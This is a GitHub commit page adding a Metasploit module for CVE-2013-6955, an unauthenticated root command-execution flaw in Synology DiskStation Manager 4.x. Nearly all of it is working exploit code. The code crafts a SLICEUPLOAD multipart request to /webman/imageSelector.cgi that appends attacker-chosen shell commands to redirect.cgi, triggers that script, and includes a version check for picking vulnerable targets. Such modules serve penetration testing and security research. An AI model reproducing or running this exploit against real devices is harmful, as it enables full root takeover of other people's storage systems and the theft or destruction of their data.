Skip to content

Commit fe66d24

Browse files
committed
Add module for CVE-2013-6955
Auxiliary module for Synology DiskStation Manager (DMS) SLICEUPLOAD vulnerability, which allows unauthenticated remote command execution under root privileges.
1 parent 709a7bf commit fe66d24

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
## This module requires Metasploit: http//metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
14+
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
21+
versions 4.x, which allows the execution of arbitrary commands under root
22+
privileges.
23+
The vulnerability is located in /webman/imageSelector.cgi, which allows to append
24+
arbitrary data to a given file using a so called SLICEUPLOAD functionality, which
25+
can be triggered by an unauthenticated user with a specially crafted HTTP request.
26+
This is exploited by this module to append the given commands to /redirect.cgi,
27+
which is a regular shell script file, and can be invoked with another HTTP request.
28+
Synology reported that the vulnerability has been fixed with versions 4.0-2259,
29+
4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
30+
},
31+
'Author' =>
32+
[
33+
'Markus Wulftange' # Discovery, Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'Privileged' => false,
37+
'DisclosureDate' => 'Oct 31 2013',
38+
'References' =>
39+
[
40+
['CVE', '2013-6955'],
41+
]
42+
))
43+
44+
register_options(
45+
[
46+
Opt::RPORT(5000),
47+
OptString.new('CMD', [true, 'The shell command to execute'])
48+
], self.class)
49+
end
50+
51+
def peer
52+
"#{rhost}:#{rport}"
53+
end
54+
55+
def check
56+
print_status("#{peer} - Trying to detect installed version")
57+
58+
res = send_request_cgi({
59+
'method' => 'GET',
60+
'uri' => normalize_uri('/webman/info.cgi?host=')
61+
})
62+
63+
if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
64+
version = "#{$~[:major]}.#{$~[:minor]}"
65+
build = $~[:build]
66+
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
67+
model = "DS#{model}" unless model =~ /^[A-Z]/
68+
else
69+
print_status("#{peer} - Detection failed")
70+
return Exploit::CheckCode::Unknown
71+
end
72+
73+
print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
74+
75+
case version
76+
when '4.0'
77+
return Exploit::CheckCode::Vulnerable if build < '2259'
78+
when '4.1'
79+
return Exploit::CheckCode::Vulnerable
80+
when '4.2'
81+
return Exploit::CheckCode::Vulnerable if build < '3243'
82+
when '4.3'
83+
return Exploit::CheckCode::Vulnerable if build < '3810'
84+
return Exploit::CheckCode::Detected if build == '3810'
85+
end
86+
87+
Exploit::CheckCode::Safe
88+
end
89+
90+
def run
91+
cmds = [
92+
# sed is used to restore the redirect.cgi
93+
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
94+
datastore['CMD']
95+
].join("\n")
96+
97+
mime_msg = Rex::MIME::Message.new
98+
mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
99+
mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')
100+
101+
# unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
102+
# so we use a placeholder and replace it later
103+
cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
104+
mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
105+
'form-data; name="foo"; filename="bar"')
106+
107+
post_body = mime_msg.to_s
108+
post_body.strip!
109+
post_body.sub!(cmd_placeholder, cmds)
110+
111+
# fix multipart encoding
112+
post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1')
113+
114+
# send request to append shell commands
115+
res = send_request_cgi({
116+
'method' => 'POST',
117+
'uri' => '/webman/imageSelector.cgi',
118+
'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",
119+
'headers' => {
120+
'X-TYPE-NAME' => 'SLICEUPLOAD',
121+
'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'
122+
},
123+
'data' => post_body
124+
})
125+
126+
if !res or res.code != 200 or !res.body.include?('error_noprivilege')
127+
print_error("#{peer} - Unexpected response, probably the exploit failed")
128+
return
129+
end
130+
131+
# send request to invoke the injected shell commands
132+
res = send_request_cgi({
133+
'method' => 'GET',
134+
'uri' => '/redirect.cgi'
135+
})
136+
137+
if !res or res.code != 200
138+
print_error("#{peer} - Unexpected response, probably the exploit failed")
139+
return
140+
end
141+
142+
print_good("#{peer} - Command successfully executed")
143+
print_line(res.body)
144+
end
145+
end
146+

0 commit comments

Comments
 (0)